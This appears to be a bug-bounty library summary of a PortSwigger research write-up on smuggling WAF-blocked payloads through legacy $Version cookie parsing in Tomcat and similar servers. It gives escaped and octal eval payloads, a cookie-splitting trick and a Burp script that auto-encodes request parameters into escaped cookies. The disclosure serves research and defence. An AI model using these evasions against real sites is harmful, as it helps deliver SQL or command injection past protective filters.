# Bypassing WAFs with the phantom $Version cookie

Legacy RFC2109 cookie parsing in Tomcat and other servers lets quoted/escaped cookie values smuggle WAF-blocked payloads past signature filters.

- Payout: Research
- Severity: medium
- Program: Apache Tomcat
- Write-up by: PortSwigger Research
- Disclosed: 2024-12-04
- Write-up quality: 8/10
- Original: https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-bypassing-wafs-with-the-phantom-version-cookie
- Tags: area:web domain:web impact:integrity kind:research platform:research sev:medium tech:java technique:parser-differential technique:source-review vuln:command-injection vuln:sqli

**Target:** HTTP Cookie header parsing / WAF
**Root cause:** Servers like Tomcat default to legacy RFC2109 parsing when a cookie starts with $Version, honoring quoted strings, backslash unescaping, and comma separators; WAFs analyze the raw value and miss the decoded payload.
**Steps:**
1. Send `Cookie: $Version=1; foo="\b\a\r"; $Path=/abc; $Domain=example.com` to trigger legacy parsing and backslash unescape.
2. Encode payload chars with backslashes: `"\e\v\a\l\(\'\t\e\s\t\'\)"` to bypass AWS WAF eval() signature.
3. Or use octal escapes: `"\145\166\141\154\050\047\164\145\163\164\047\051"`.
4. Bypass cookie-name blocklists via comma separator: `$Version=1; foo=bar, abc = qux`.
5. Split payload across multiple Cookie headers: `Cookie: name=eval('test//` + `Cookie: comment')` yields `eval('test//, comment')`.
**How found:** Compared how Flask, Django, PHP, Ruby, Spring, and SimpleCookie parse the same Cookie header, noticing divergent handling of $Version, quoted strings, and octal/backslash escapes, then tested against AWS WAF signatures.
**Exploitation:** Attacker wraps malicious payload (SQLi/command injection) in quoted/escaped cookie value so WAF signature matching on raw bytes fails while the backend parser decodes it to the dangerous string.
**Insight:** When a target uses Tomcat/Spring, prefix cookies with `$Version=1` and backslash- or octal-escape payload characters inside double quotes; WAFs match raw bytes while the parser decodes, so differential-encode every blocked token.

## Proof of concept (copied exactly from the original report)

**AWS WAF bypass via quoted/octal-escaped eval payload**

```
eval() => allowed
eval('test') => forbidden
"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed
"\145\166\141\154\050\047\164\145\163\164\047\051" => allowed
```

**Cookie splitting bypass of AWS WAF signature**

```
Cookie: name=eval('test') => forbidden 
Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed
```

**Burp HttpHandler quoted-cookie encoding script**

```
def handleHttpRequestToBeSent(requestToBeSent):
 result = "$Version=1; "
 for param in requestToBeSent.parameters:
 result += f"{param.name}=\""
 for char in param.value:
 result += f"\\{char}"
 result += "\"; "
 return continueWith(requestToBeSent.withAddedHeader("Cookie",result))
```

